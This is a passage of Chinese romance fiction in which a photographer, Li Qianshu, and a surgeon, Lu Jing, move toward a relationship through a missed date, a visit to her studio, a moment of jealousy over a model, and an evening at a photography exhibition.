黎千树起身坐起来,不自觉眯起眼睛伸了个懒腰。 伸完胳膊,注意到陆医生靠在桌子边对着自己看,黎千树笑问:“怎么了?” “睡得好吗?” 黎千树点点头,“这里很安静。” “嗯。” 黎千树手心搭在床沿,他不说话,陆璟也不说话,两个人就这么彼此对视了会儿。 下午的太阳是柔和的,地板落下一片浅金。 “你……” “那我……” 几乎是同时开口。 两个人不约而同地收住话音,又是对视一眼,黎千树顿了顿,“你先说。” 陆璟犹豫了下,开口道:“我是想说,如果你没有休息好的话,其实不用特意过来找我。” “就算,”他顿了顿说,“不过来也没关系。” 他说这话的时候,面上仍然是温和的,话音也放得慢,会有一种温柔的错觉,那双眼眸里的情绪隐匿在镜片之后,望不进真实想法。 黎千树一时间看着他没说话,听清楚他说的以后,眉头很淡地蹙了下,神情肉眼可见染上一抹失落之色:“我打扰你工作了吗?” “不是。” 陆璟对着他这双轻轻忧愁的眼眸,否认之后,开始说不出任何的话。 黎千树这时候起了身,慢慢朝着陆医生所在的方向走过去,目光盯着:“噢,那就是陆医生你……不想我过来啊?” 陆璟又是反驳:“也不是。” 黎千树在两人脚下一寸的距离停下。 “这也不是,那也不是,”黎千树垂下了眸子,又不经意掀起眼帘,“陆医生,你就说,你到底想不想我来?” 他问起的话语带几分认真的迷惑,看过来的视线却是直白坦然,不遮不掩。 夕阳光也落进他眼睛里,有点琥珀的金亮。 莫名地,陆璟的心紧了紧,随后竟有些乱了分寸。 尽管面上不显,却仍然被这道直 接的目光看得心口微微泛热。 这样的氛围下,他实在很难说出拒绝的话。又意识到,寥寥几句对话,自己竟然要被面前的人牵着鼻子走了。 “千树……” 他哑然开口,似是无奈,也有几分讨饶。 从他略低的声线里唤出来,低低的,也带着点沉,和一贯的温和。 黎千树怔了下,耳根隐隐地落了些痒,像有呼吸拨弄在上面。 “陆医生,你真是……” 黎千树忽然地笑了。 有些犯规。他想。 这是第一次听陆璟这么叫自己,还只叫了名字,偏偏还叫得这么好听。 在这样他想寻一个确切答案的时刻里,陆医生又实在巧妙地避开了他给的选项。 “嗯?”陆璟不明所以,追着他眼里溢出的笑意。 “我明白你的意思,陆医生,”黎千树又将笑容敛去一点,落点遗憾进去,“但你这么说,我还是会有点不开心的。” 他又强调,只有一点点。 陆璟是想让他先好好休息,他当然能听出来这是好意。所以也只是想故意逗一下陆璟。 “走啦陆医生,下次见。” 黎千树情绪来得快去得也快,这会儿已经拿上自己的东西坦坦荡荡地出门回去。 陆璟的脑海里还在想他话里的那一点点不开心。 他实在有些在意。 所以,自己在桌前默着站了两分钟,又拿出手机给对方拨了个电话。 接通的那一刻,陆璟有一瞬的头脑空白,也没想好要说什么。 “我刚刚没有送你。”他说。 黎千树不在意道:“我已经到楼下了。” “好。” 陆璟应完又不说话了,黎千树安静等了几秒,问怎么了陆医生。 “我不是那个意思,”他闭了闭眼,低声承认道,“没有不想你来。” 黎千树也没想到对方特意给自己打电话只是为了说这个。 “你是怕我不开心吗?”他笑问。 “嗯。”陆璟没有否认。 黎千树碾了碾脚下的石子,问:“陆医生,你还在休息室吗?” “在。” “那你从窗户边望一眼。” 陆璟走到窗边,开窗,往下望去。 底下种着一排银杏树,日光下金灿灿的。紧接着,黎千树的身影出现在那里。 隔着十二层,那么高的距离,衬得他身形实在是小。 甚至小得有些可爱。 “我也没有不开心,”电话里,黎千树清澈的声音传过来,“非要说的话,你刚刚叫我的名字很好听……” 说着,他抬起头,隔着距离跟陆璟对望。 “可以再叫一声吗?我还想听。” 外面起了风,日光下,深秋的银杏叶在风中摇摇晃晃,窸窣作响,闪出薄光,大片金黄飘落下来。 黎千树立在那些起舞的金色叶片里,仰着头看他。 隔得那么远,分明是看不清脸上神色的,陆璟却觉得他好像在笑,带着明亮柔和的阵阵秋意。 一瞬间,心脏鼓鼓地跳动,一声一声闷在胸腔里。 擂鼓般清晰。 不合时宜地又想到黎千树曾经好奇地问自己,胸外科需要听心跳吗。心跳乱了怎么办。 他嘴角勾起一抹浅浅笑意,眉眼柔和。 陆璟想,面对这样的黎千树,不可能不心动。 “……千树。” 千树。 他这么唤他,以一个低声缱绻的口吻,落在温柔秋风里。 12. 12 回去之后,黎千树耳朵还热着。 他都没意识到自己说了这样的话,等说出口后已经来不及了。况且陆璟也没觉得有什么不对劲的,真顺着他答应,又叫了一声。 黎千树搓搓耳朵。 总感觉这一声,要更沉稳动听了。 他想自己该不会是个声控吧,以前也没觉得别人这样喊自己有什么特别,偏偏他叫出来就是不一样。 黎千树好像有点上头,又赶紧把这份心思压了压。 好在这份情绪,在他主动邀约陆璟去看电影又被对方拒绝的时候,平息了一点下去。 根据倪医生的情报,这个周六是轮到陆医生休息的。 平时陆医生有时下班早,有时下班晚,不好直接约,也占用他日常的休息时间。周六有一整天,看个电影,再一起吃个饭,最合适不过。 他挑了最近新上不久的一部影片,好像网上口碑还不错,黎千树看了眼宣传预告,感觉也还可以。 不过陆医生很快回复过来:【不好意思千树,我那天没时间。】 黎:【啊。】 黎:【没事的陆医生,那你忙。】 他有些意外,但转念一想,人家休息日有自己要做的事情也很正常,谁也不是一直有空。 陆璟看着屏幕上对方回复的字眼,又准备打字:【周六我要……】 黎:【下次有空再约。】 陆璟沉默了下,把还没解释完的字删除,又回复了个好”。 说完,他放下手机,将眼镜也取下来搁在一旁,不自觉捏了捏鼻梁。 临近下班时,范志杰又来跟他特意道了几声谢:“谢谢陆医生,真是麻烦你了,占了你原本的休息时间。” 陆璟淡淡摇头,说没事,本来就欠你一次班。 他语气平和,没有表现出被麻烦的不耐。 早在参加同学会那天,陆璟就麻烦范医生帮忙值了一天班。 这次范医生家里有紧急情况实在推脱不了,只好找陆璟换一次班。 陆璟答应得很快,人家帮过他的忙,现在他也没有理由去拒绝。 唯一令他感到在意的,就是拒绝了黎千树的邀约。 重逢这么久,他们只在外面吃过一次饭。其余时候都是黎千树主动来医院找自己。而现在自己又有事没答应,不知道对方心里会怎么想。 陆璟的心情也不算愉快,好几次,拿起手机想跟黎千树发消息,却不知道该说什么。 黎千树不知道,不过他也没多想,依旧忙自己的工作。 最近拍摄都被排满了,也许是这些品牌都要开始下一轮的活动和上新,开始扎堆来活。齐彬当时问他能不能接受,不能的话再协调一下时间。黎千树想反正也没别的事情,就说没问题。 刚好陆医生也忙,他就没再发消息打扰对方。 外景内景都有,忙的时候凌晨也还在拍摄。 工作室二楼有个黎千树自己的工作间,也是他放各种镜头设备、电脑和修片的地方,里面有个不怎么占地方的沙发,刚好能躺一个人。 黎千树偶尔休息也会躺上去。 拍摄的时候,又碰到了之前齐彬提过的那位小陶。 坦白说,陶瑜作为模特的专业能力上很不错的,他的表现力很好,不管是冷着脸,还是有时候需要配合着做一些表情,都很出片。 现在拍摄的太多是初冬的款,模特换衣服也要比夏款花更多一点的时间。 陶瑜站在镜头前,很专业地完成多套衣服的拍摄。补妆和需要沟通的时候,又把目光落在黎千树身上,不自觉盯着他看。 黎千树这个时候就会低头看相机和或者一旁的样片,当做没注意到对方投来的视线。 拍摄晚上七点多才完成,收工后陶瑜也没离开,反而主动帮着一起收拾东西,又跟在黎千树身后说:“黎老师,好久不见,我请你吃饭吧。” 黎千树说:“谢谢,不用,助理已经点好餐了。” 陶瑜又追问:“那明天呢,一起吃饭可以吗?” 陶瑜年纪比他小,见面就是黎老师黎老师的喊,倒是表现得挺谦逊,也有礼貌。 黎千树不算反感他,但没有那层好感。 “明天也没空。”他说。 “后天呢?” “后天也不行。” 陶瑜正要发问,黎千树转过身来说:“陶瑜,我最近都很忙。” 他的语气郑重其事,还连名带姓地称呼对方,拒绝的意味明显。 陶瑜眉头皱了下,有些不情不愿,还是想说话,肩头忽地被一揽。齐彬不知道何时走了过来,说:“小陶啊,黎老师这几天确实没什么空,先让他去吃个饭吧,忙一天了,要不咱俩聊聊?” 齐彬给了黎千树一个眼神。 黎千树会意,去到一旁的桌上先吃饭,他是没理会两个人聊了什么的。 一边吃一边情不自禁打开手机看,没有收到什么新消息,黎千树又放下,专心吃自己的饭。 过了会儿齐彬过来在他旁边坐下。 黎千树回了下头,陶瑜已经离开了,他问:“你跟他说什么了?” 齐彬笑道:“就实话实说咯,说你不喜欢他那个类型,现在有暧昧对象了。” “不是我说,其实小陶真就还行,长得可以,性格也可以,洁身自爱不乱来,在他们模特圈风评很好的。” 黎千树瞥他一眼。 齐彬就笑:“不过呢,还是比不上你那位陆医生哈。” 这回人没搭腔,他想,陆医生算暧昧对象吗。 齐彬眉一挑:“怎么着,进展不顺利啊。” “也不是不顺利,”黎千树挑了挑菜,“太忙了他,本来想约着看个电影,不过人没空。” “噢,有情绪了?”齐彬稀奇着问。 “那倒不是。” 黎千树也形容不上来自己的心情,可能是前些日子确实有点太上心,又被陆医生那两句温温柔柔的“千树”给蛊惑,一时间冷却下来,对比明显,难免现在一点小落差。 但都是成年人了,不至于因为这点小事而有什么情绪。 只是,如果他不给陆医生发消息的话,陆医生也很少主动开启什么话题。 暧昧对象应该是双方都有那个意思才算,两人的聊天记录仍然停在约电影那天的对话。 黎千树忍不住想,在意的是不是只有自己。 “医生确实是忙,尤其经常动手术的,你又算半个自由职业,时间没那么固定,对不上很正常。”齐彬表示这也能理解,又嘴贱开玩笑道:“那考虑下小陶呗,时间自由,谈恋爱都方便。” 黎千树睨他一眼,把筷子一收,吃了大半的餐盒盖起来,收拾好丢进垃圾桶。 - 倪文倩感觉自己有好一阵没见到黎千树的身影了,怪不习惯的,一块儿跟陆璟在食堂吃饭的时候难免问起,说这几天千树怎么不来了。 陆璟说你可以直接问他。 倪文倩“害呀”一声,“我哪好意思问,毕竟人家想见到的人又不是我。” 说完又想起周六还在科室见到了陆璟的身影,一问是在替范医生值班。倪文倩很意外,记得不久前黎千树还跟自己提及陆璟的休息天,想约陆医生出去来着。不过既然陆璟当天在替班,很明显是拒绝对方了。 “他有联系你吗?” 陆璟摇头。 她唉声叹气,有些遗憾道:“该不会是你拒绝他之后,他就不来了吧。” 陆璟看向她。 “他长这么好看,以前就有好多追求者了,现在又是摄影师,天天跟模特打交道……” 话没说完,陆璟接过去:“模特?” “是啊,就是给他们拍照嘛,时尚圈帅哥靓女多的是,据网上说……”倪文倩压了压声音,“好像风气也挺开放的,随 便玩玩儿睡一觉什么的应该很常见。” 陆璟面上平静,看不出什么波澜。 “难得对你主动点,你还拒绝人家,说不定觉得没什么意思,新鲜感过了,就不想来了。” 当然,这也是倪文倩的个人猜想,说完又建议面前的人:“陆医生,你应该主动点的。” 陆璟一时没有接话。 这几天他又值班又是手术,休息时间不够用,头也隐隐作痛,每天回家洗个澡倒头就睡了,准备忙完再好好联系黎千树。 陆璟回到办公室,拿过放在旁边的书,里面夹了两张展览的门票。 他看着上面的时间期限若有所思。 当天下午,傍晚的时间,陆璟没有过多停留,很快下班,驱车前往境白工作室。路过一家布置亮眼的甜品店,迟疑了下,又只好掉头过来,进店转了一圈,拎着包装好的盒子出来,轻拿轻放地搁置在车里,最后到达目的地,停在路边附近的停车位。 傍晚路灯都已经打开,但天色还没有沉下去,头顶上一片昏蓝,与淡黄的灯罩辉映,衬出夜蓝丝绒的质感,似薄薄的幕布。 陆璟停在宽阔的街道,抬头,看清“境白”两个字眼,简洁而清晰。 一扇巨大的落地窗映出里面穿梭走动的团队人员,可能是有重要拍摄,那些人显得匆忙急促、动作麻利。也许是灯光,也许是那种氛围,各个都透出时尚的气息。 陆璟立在门口,暂时没有看到黎千树的身影。 他推门进去,立刻就有招待上前来:“您好先生,请问是有预约拍摄,还是?” “我……”陆璟顿了顿说,“找人。” “您是找?” “黎千树。” 对方看陆璟似乎不像是同行业的人,又是一个人过来的,便问:“呃,冒昧问一下,您是他……?” 齐彬经过,问“怎么了”,不等招待说话,他的目光就集中在面前的人身上。 只是几秒功夫,便能确认出这是黎千树口中的那位陆医生。 毕竟他在照片上见过,虽然不清晰,但戴着眼镜,这身气质也是一模一样,冷淡斯文的,很难忽视。 “他说是来找黎……” “你去忙吧,我来,”齐彬开口,又对陆璟说,“他在楼上,我带你过去。” 陆璟看向这个人,看起来跟自己同龄,给人的感觉比较随性,他淡声应道:“谢谢。” “客气。” 齐彬领着他往二层去,顺口问道:“你是陆璟吧?他跟我提过你。” “是。” 陆璟像是话不多,应完没有开启话题,也没问黎千树提到他的时候说了什么。 齐彬觉出他的冷淡,倒也没想到这人会主动过来找黎千树,挑挑眉,随后到一个工作间前停下来。 他敲了两下门,如往常一样习惯性的拧开把手,推门进去。 “黎千树,你陆医生……” 话在嘴边停住。 电脑屏幕上是昨天拍的图,黎千树坐在电脑前,椅子被拉动到旁边,陶瑜双手撑在了他身侧的扶手上,面对面微微倾身,表现出明显的攻势,像是有话要说。 姿势显出几分莫名的暧昧,在齐彬敲门进来的一刻,两人又是默契地同时扭头。 齐彬心下一惊,哪知道他俩忽然靠了这么近,不免生出点看戏的意思,先去观察身侧这人的反应。 陆璟面色沉静,似是波澜不惊,但目光却是定在黎千树身上,又不动声色地移了移视线,很轻地落在与他挨得挺近的那位男生身上。 不可否认他年轻,帅气,难以忽视的存在感。 像倪文倩口中的模特。 拎着东西的手心微微一紧。 陆璟隔着镜片跟那人对视了两秒,神情淡了些,又仿若不甚在意地挪开视线,再度回到了黎千树微怔的眼眸里。 他温和开口:“千树,我来找你。” 13. 13 黎千树对上陆璟直接的目光,心头重重地跳了下。 他一时没说话,甚至有点没反应过来现在是什么情况。 气氛安静得不同寻常,齐彬视线在他们之间扫过,压制住自己看戏想要上扬的嘴角,说:“那……你们聊?” 说完便离开。 黎千树缓过神,先把陶瑜的手挪开,没让他继续撑在自己两侧,他起身先跟陆璟搭话,意外道:“陆医生,你怎么过来了?” 他有些诧异。 陆璟不紧不慢道:“路过,有家甜点还不错,带给你尝尝。” 虽然语气是一如往常,轻淡礼貌,但话音里特有的那份熟悉与亲近也冒出头来。 像是故意的,暗自较量。 所以陶瑜立刻就皱起了眉,有些不爽,问黎千树:“黎老师,他哪位?” 陆璟的眼神没分给他一星半点,仍旧是注视着黎千树,眉头轻动,提着袋子的手也扬了扬,示意对方。 黎千树接过说:“陆医生,你先进来坐会儿。” 随后他拉过陶瑜,把人带出工作间,去到外面说话。 动作也是自然熟稔,陆璟不由得垂眸,视线落在黎千树拉着对方的那截手腕上,皮肤触到了一起,直到他们离开视野才收回眼神。 陆璟没有坐,在里面等黎千树回来。 目光扫过室内的空间,沙发,茶几,盆栽,堆着几个大件快递箱,还有不少摄影设备,看起来有些杂乱,但并不无序。 他的桌子上除了电脑配置,还有几个小摆件,像是卡通人物,小男孩一般,浅金色的头发,圆圆的大眼睛,很可爱,但陆璟认不出来是什么形象。 电脑上要修的照片里也是一位男模特,不是刚才那个人,长相依旧惹眼,很有表现力。 陆璟默默站了会儿,没多久,黎千树重新回到他的视野里。 “怎么没坐?”黎千树过去拿了瓶水递给他,“只有矿泉水了。” 陆璟握着瓶身坐下,目光往门口探了探,没再看到那人。 “能问吗?”他开口。 “嗯?” “他是……?” 陆璟问这话的时候,黎千树正在研究陆医生递过来的甜品包装盒,看起来实在精美,闻言看向他。 “是合作过的模特。”他回答。 合作过的,模特。 陆璟无声地念过这几个字。 “他叫你黎老师?” 一边问,手上已经替黎千树将包装慢慢打开。 “他年纪小,管谁都叫老师,好像这是一种表示尊敬的称呼。” 年纪小。 陆璟似有若无地点点头,神情又淡了几分。 里面是一份圆形的抹茶挞,白色的慕斯,清透淡浅的柚粒,外形很好看。黎千树闻到类似于柑橘柚子的清香气息,不甜腻,反而带着一丝清爽。 原本不觉得,但闻到这份香甜之后,反而有些食欲上来,忍不住想要尝一口,黎千树说:“我想现在吃。” “尝尝,”陆璟说,“我不确定合不合你的口味。” 但他记得黎千树应该是不排斥甜食之类。 黎千树舀了一口尝进嘴里,口感层次丰富,酸甜适中,也有黄油和抹茶的香。 他眼眸弯起来,很给面子地说:“很好吃。” 想起来又问对方:“你要尝一下吗陆医生?” 不过叉子他已经用过了,黎千树记得自己有个拆封过的陶瓷杯,里面配的有勺子,拿起来的时候会叮叮当当,应该是放楼下了,他准备去找出来。 “不用,”陆璟没让他起身,“你吃就好。” 黎千树撑着下巴又多尝了两口,吃东西的时候嘴角忍不住翘了翘,看得出来心情很好。 陆璟的目光扫过他淡色的唇,又移开视线,问:“最近很忙吗?” “嗯,天天都有工作。” 陆璟缓慢点了下头。 “陆医生应该也很忙吧,”黎千树不自觉舔了舔唇上的奶油,笑着问他,“不过,今天怎么想到过来找我啊?” 甜奶油的时候他露出一点粉嫩的舌,又很快收进去。大概自己也没意识到这个动作的撩人。 陆璟气息微沉,说:“很久没见你。” “很久”这个词让黎千树不禁琢磨起到底是有多久。 但仔细一想,好像才一个星期,也没有很久吧。 黎千树意外道:“所以陆医生特意过来,只是为了给我送个小蛋糕吗?” “有两张摄影展的门票。” 陆璟说着从自己的钱夹里抽出来,放到黎千树的桌面上,“买晚了,展览快结束,我后面的休息日赶不上,你……” 陆璟默了默,“你跟你的朋友去看吧。” 黎千树拿过来看,是摄影界有名的一位外国女摄影师的作品展。这位摄影师他是很喜欢的,但最近没怎么关注展会这些。 黎千树没有接话,先拿手机查了下展厅的开放时间,随后放下。 “哦……”他漫不经心道,“陆医生特意准备的票,我跟别人去看也可以吗?” 陆璟的神色有一丝松动,“跟朋友去看可以。” “那不是朋友呢?”黎千树像是故意逗他。 陆璟只觉得牙根隐隐有点紧,没有立刻回答,黎千树换了个问题:“所以,陆医生不想跟我去看吗?” 他直直看向对方,眼神清亮明晰,像泉。 “想,但是我时间……”陆璟的话语里有些许迟疑。 黎千树得到了他想要的答案,在陆璟还没有反应过来之际,先拉着对方起身,坦率又明快地说:“那还等什么,走吧陆医生。” 很久以后,陆璟也依然记得黎千树牵住自己手腕时的那份温度,比人体日常的皮肤体温要热一点,指腹贴着淡青色血管,再慢慢渗进鲜红跳动的心脏。 他拉着自己往外走,又下楼。 陆璟几乎是本能地配合着他的步伐。 路过楼下,有人很熟地跟他搭话,问他去哪儿,黎千树笑着回应:“出去逛逛。” 这个时候他也没有松开手。 黎千树又转头问陆医生的车停在哪儿。 那时天还没有黑,蓝色幕布压得更低,更深,浓郁得要滴下来一抹蓝。脚下随着几片干燥碎叶,秋夜的触感与心跳由此变得如此清晰。 陆璟开车往艺术展馆去。 黎千树坐在副驾驶导着航,说展览九点半才结束,现在过去来得及,还有两个多小时,够逛了。 他说这位摄影师很有名,他有一张很喜欢的摄影作品,尽管不是大众最熟知的那几张有名气的照片,但他当时看到的时候就很喜欢,不知道这次的展览有没有。 陆璟心口很热,说不出来这是什么样的一种感觉。 自小到大,他都是有序的,不混乱的。所有能用的时间被安排得井井有条,什么时候要做什么,计划赶不上又要如何调整。工作以后,一切更是习惯按照固有的规划走。 混乱和无序会有一种失去掌控的错觉,尽管他能力足够,不会难以应对,但仍然不喜欢那种突然的脱离感。 但黎千树不是这样的,他欢快跳脱,思维活跃,总是很有想法,又总冒出新鲜的想法。 他不在乎计划,时间刻度,最后期限,或早与或晚。 他的标准是遵从内心,想做的时候就去做,不犹豫也不纠结。 只要和他接触,就会被他感染。 从高中陆璟就该明白这一点。 展出的作品大部分都是黑白照片,虽然是黑白,但带给人的感觉并不像传统印象里的冷静疏离,摄影师记录下来的都是很生活化的场景,反而平淡温和。 陆璟和黎千树安静走在展厅里面,一张张看过去,策展方也很好地通过一系列排列布局将摄影师作品里所传达的感受更好地表现出来。 黎千树在展馆里见到了他想喜欢的那张照片,他驻留。 照片其实很平常,只是一对中年夫妻坐在有很多人的车厢里,他们头和肩膀都倚靠在一起,彼此依偎着睡着。 黎千树停在这里看了很久,又好像不只是在看照片。 陆璟侧头的时候,注意到他嘴角轻轻扬起,染上一抹柔和与平静。或许是想到了什么,才会露出这样的笑意。 所以参观结束后,他们坐在场地宽阔的休息厅内,陆璟问他,为什么会最喜欢那张照片。 “它让我想起了我的父母。” 初中的时候他们一家人报了个团出去旅游,几天的行程有点赶,返程都很累了?,黎千树坐在巴士里翻这次出去玩记录下来的照片,黎大钧和曲海春就在他后面一排的位置。 大巴车行驶平稳,整个车厢里都很安静。 “我翻到一张很好玩的图,回过头想给他俩看,他们已经靠着彼此睡着了,跟照片上那对中年夫妇带给我的感觉很像。我觉得很美好。” 陆璟点点头,赞同地说:“确实很美好。” 他看着黎千树,忍不住想,他的父母应该很相爱,也很好,愿意花时间陪孩子去旅游,去玩乐,陆璟从来没有过这样的经历。 他很早就知道,黎千树一看就是在家人的爱中滋养长大的小孩。 “你呢,你喜欢哪张照片?”黎千树问他。 陆璟回忆在展览里的那些作品,印象最深的是一个小孩趴在编织椅上晒太阳。那是背影,阳光从编织纹中的缝隙透出来,小孩的身影透出天真可爱的童幼气质。 “或许那是个阳光沉醉的午后。”陆璟猜测。 黎千树笑了笑,也跟着说或许是吧。那张照片他也喜欢,纯真、自然。 他喜欢日常化生活化的照片,不刻意追求构图、角度,不卖弄技巧,能读出情绪的照片。 他说,在播放的有关摄影师的那支短片里,比起策展人将这位摄影师自己的照片作为一种个体的在场感,他更愿意解释为,只是因为摄影师想拍,想按下快门,想捕捉那一瞬间而已。不是在摄影,而是观察。 陆璟很平静地听他阐述自己的观点,听得认真。或许在喜欢的感兴趣的事物面前,都会表现出专注力。 休息区的光配合着整个展馆的气质,没有那么足,光线柔和,但黎千树的眼睛很亮。 好像又看到了那个站在校园一棵很大的悬铃木下,举着相机对向树冠的明净少年。 黎千树说完侧过头,不经意与他的目光相撞。 他愣了下。 陆璟不慌不忙,话音柔和:“说完了?” “你在听吗?”黎千树问他。 “我在,”陆璟忽然带着点笑问他,“要重复一遍给你听吗,黎老师?” 黎千树说那不用。 回答完之后才意识到陆璟口中的这个称呼,他诧异了下,问:“怎么你也这样叫我?” 陆璟原本只是觉得黎千树问他“在听吗”的语气莫名有点像老师,但他忽然用了“也”,便让他立刻想到了别人的存在。 陆璟眼底的笑意渐渐变浅。 他们坐在同一排长椅,在安静的空气里彼此对视。 陆璟缓慢地倾身靠近面前的人,眉头轻动,慢声道:“我不能叫?” “我只是不太习惯。”黎千树说。 缓缓靠过来的陆璟,镜片后划过稀薄的光,那双向来平和的眼眸此刻带着一丝不易察觉的侵略性。 黎千树的脊背忍不住往后倾了几分,暗暗拉开距离。 直到对方在一个很近的距离停下,陆璟按在椅面的手指几乎要和他的碰到。 陆璟巡视着他的眼睛,说:“他离你有这么近。” 黎千树愣了愣,意识到陆医生此刻是在指他进门时看到的那一幕。 “是他把我拉过去的。” 黎千树解释完,也紧紧盯着陆璟的眸子,想从中探寻出湖面波动的证据。 陆璟像是在吃醋,但他眼神里的情绪并不明显。 这个人实在惯会隐藏自己的情绪,实在难以真的看透。 黎千树也不再退,反而大胆地往前挪了几分。 “那这样呢,陆医生。”他轻轻问。 这样算不算更近。 黎千树小鹿般地往前探。 陆璟神色不变,只是暗暗垂下目光,缓缓从他明亮的眸、挺翘的鼻,以及微张的唇上依次经过。 他感觉自己喉间忽地有些干涩,有了想要吞咽的心思。 # 14.14 “太近了,千树。” 陆璟开口的声音有点沉,但莫名带着一丝无奈的宠溺。湖面温柔地泛起丝缕波澜。他抬手,轻轻按在黎千树的额头,没用什么力。 坐在车里的时候,黎千树也用自己的手指贴了贴额头,但跟陆璟的触碰带来的感觉是完全不一样的。 他的指腹更干燥温暖,碰到皮肤的时候,会起一点酥麻麻的电流。很轻微地。 但他想陆医生又实在是太有分寸。 他明明已经主动得靠那么近,但陆璟依然能够面不改色又冷静自持地将两人距离拉开,没有表现出任何沉溺的意思。 是否有些太过理性了。? 黎千树忍不住看他,透明镜片像薄薄的一层冰、一片雾,把他的情绪隐匿,看不清那双眼睛的真实想法。 ? 陆璟送黎千树回去。 黎千树说那麻烦陆医生送我回工作室。 “工作室?” “是呀,我还有工作没有完成呢陆医生。” 嘴上这么说,但黎千树也没有表现出任何工作上的担忧焦急,反而态度放松,不急不忙。 甚至还能拉着陆璟去看一场摄影展。 “又要熬夜吗?”陆璟问。 “嗯……”黎千树思考了一下,“应该要。” 陆璟侧头看他,“经常这样工作?” “也没有。”黎千树说只有赶上拍摄高峰期的时候会这样忙碌一阵。 陆璟才点点头,嘱咐一句要好好休息。 黎千树忽然轻轻笑了声。 “陆医生,你才是要好好休息,你比我忙得多了。” 说完,他又想起来什么,又问:“你最近也是很忙吧,我都看见你眼睛里的红血丝了。” 是在展馆里面,两人靠得很近的时候,黎千树注意到的。陆璟的眼睛本应该是清明的,但明显休息不足,眼白不是很明显的白,红血丝在里面交错。 “嗯,是有点忙。” 语气平淡,仿佛已经是习惯了。 “会累吗?” “会。” 陆璟实话实说。高强度的工作下,没有人会不累。但这行是他自己选的,陆璟也没什么怨言。当医生这件事没办法用喜不喜欢来概括,更多的是一种职业责任。 “所以你是,一忙完就过来找我了吗?”黎千树发出疑问。 “今天下午正好得空,下班就过来了。” 陆璟没听到他接话,也不禁侧目看了一眼身旁的人。黎千树正望着前方若有所思,像在出神。 有时候,黎千树会带给人这样一种感觉,在他安静的时候,不说话、也表现出没有明显高兴或者愉快情绪的时候,就会产生一丝距离感。像他们第一次重逢时,黎千树坐在车里被风吹起碎发微微眯眼的那个瞬间。 漂亮,但也透着几分冷淡。 这是高中时候的他所不具有的,或者说,那个时候并不明显。 黎千树只是在听到陆璟那句回答之后,陷入思考,他想陆璟怎么会没有对象。 明明陆医生各项条件都称得上出众优异,性格沉稳冷静,在与人相处上也得体有礼,非常有分寸有边界感,会令人感到舒适愉悦的类型。 这样的人,怎么也不至于没有对象。 他忍不住想,要是自己的那些相亲对象能有陆医生这种十分之一的相处之道,也不至于让他那么排斥。 车在路边平稳靠停。 黎千树回过神来,没有立刻下车,反而说起:“倪医生说,你在医院里很受欢迎,好多人都喜欢你。” 陆璟眉头轻轻挑了挑,没料到他忽然提及这个话题。 “你是因为工作太忙才没有恋爱吗?” 车里光线有些暗,黎千树看过来,耳侧落着一点光亮。 “有这个原因,一方面没什么时间,另一方面……”陆璟的目光从他耳畔的光亮转回黎千树的眼眸里,“没有遇到喜欢的人。” 黎千树缓慢眨了眨眼,一直没有遇到喜欢的人,是因为眼光很高吗。但毕竟人家条件摆在这里,陆医生眼光高也很正常。 “你呢?”陆璟反问回去。 也许是陆医生看过来的眼神太过直接,也耐心认真等着他的答案,不催促,就看着他,像被深邃的湖水注视,黎千树开始觉得自己的脸颊隐隐有烧起来的趋势。 “你猜。” 黎千树狡黠地轻笑,解开安全带,很快就说:“谢谢陆医生送我,我先走啦。” 不等陆璟说什么,黎千树就已经动作迅速地下车,关了车门往工作室的方向去,小雀似的飞走。 一直等到他的进到工作室里面,再也望不见那抹身影,陆璟才离开。 这个点大部分工作人员都已经下班回去了,今天还留了几个人没走,看起来是拍摄刚结束不久,还在紧赶慢赶地收拾东西。 见到黎千树,都忍不住问他是不是约会回来了,又夸那个男的看起来好像挺不错,还挺正,是新的相亲对象? 你一句我一句的,不知道该回谁。 黎千树只好说不是相亲对象,又让他们别八卦了,还早着呢,没谱。 齐彬笑说:“以为你今天不回来了。” 黎千树诧异地回看他一眼,“我就是去看个展,看完了就回来。再说了,工作还没忙完呢。” 齐彬托着调子“哦”一声,“看展,那跟约会有什么区别。不过你那会儿给小陶赶走了,小陶还怪伤心的。” “哪里赶,你不要说得这么难听,我只是说下次再跟他谈谈,我会跟他讲清楚的。” 虽然话是这么说,但其实也不用等到下次了,很明显黎千树已经做出了倾向的选择,陶瑜不可能看不出来。 黎千树说完又催他:“你怎么还没回去?” “马上了,”齐彬说,“你也别弄太晚。” “知道。” 黎千树回到自己的工作间,那份甜品他还剩了点没有吃完,他决定吃完了再工作。 但或许是放久了,吃起来没有刚开始的新鲜。柚粒和柑橘调和的那点酸味变得明显起来,但还是好吃的。 手机放在一旁响了下。 拿起来看,是陆医生发过来的消息。 陆:【千树,你想知道任何关于我的事情,都可以直接问我。】 不用问别人。 黎千树盯着这句话默默看了会儿,又忍不住想要提提嘴角。 但是本人依然很淡定地回复:【噢,知道了。】 黎:【到家了吗?】 陆:【还在路上,快了。】 黎千树回了个表情包示意知道了,他放下手机准备开始工作,过了五六分钟,屏幕又亮起来,陆璟再次给他发了消息。 陆:【到家了。】 - 曲海春让黎千树陪她一起去花鸟市场逛逛,她想买点绿植、花卉摆在家里,重新装饰一下。 她喜欢给家布置打扮,漂亮的餐布,花瓶,门帘,桌凳,就连收纳都会认真挑选合适的颜色和材质。 虽然她住的阳光家园现在已经有些年头了,但里面还是被她打理得干净整洁,除开多年用的大家具,看不出年代感。 黎千树是很喜欢那个家的,非常明亮温馨。 他倒是想一直住在那里,但总归是要独立点,不能什么都依赖母亲,所以还是搬出来自己租了个小公寓,也不错,但是不像自己熟悉的家,没有那种氛围。 所以刚开始,他租着公寓,又经常往家里跑。 曲女士一边准备晚饭,一边念叨他租着房子不住,好浪费钱。 黎千树“嗯嗯嗯嗯”地应着,说什么“我是舍不得你嘛妈妈”这样的甜话,又偷偷拿筷子尝刚盛出来的红烧鸡爪,被曲女士打了下手背,说:“馋得你,今天要招待客人,不许偷吃。” 也就是这一两年,曲女生渐渐开始催着他相亲恋爱找对象,他才没有像之前那样频繁地回家了。 忙完摄影的工作,他开车陪曲女士一块儿去市场。 花鸟市场的位置有点远,但场地很大,各种类型的店铺也多,能逛很久。 曲海春一进到这种地方,就有些走不动道儿了,已经忘了自己今天的任务是买绿植,看到一家就忍不住进去瞅一眼,连店里的微缩景观也欣赏了起来。 黎千树真怕她 心血来潮买一个回去,及时打住她的想法,说这个不好打理,还占地方,拉着他母亲去挑植物。 以前家里多是买的花。 黎大钧下班后会经常带束花回来,曲海春就给插上摆在客厅和餐桌。 鲜花的保质期没有那么长,得经常更换,家里有一直有淡淡的花香气,就代表一直有人在买花回来。 现在曲海春研究起了绿植,这个可以养很久。 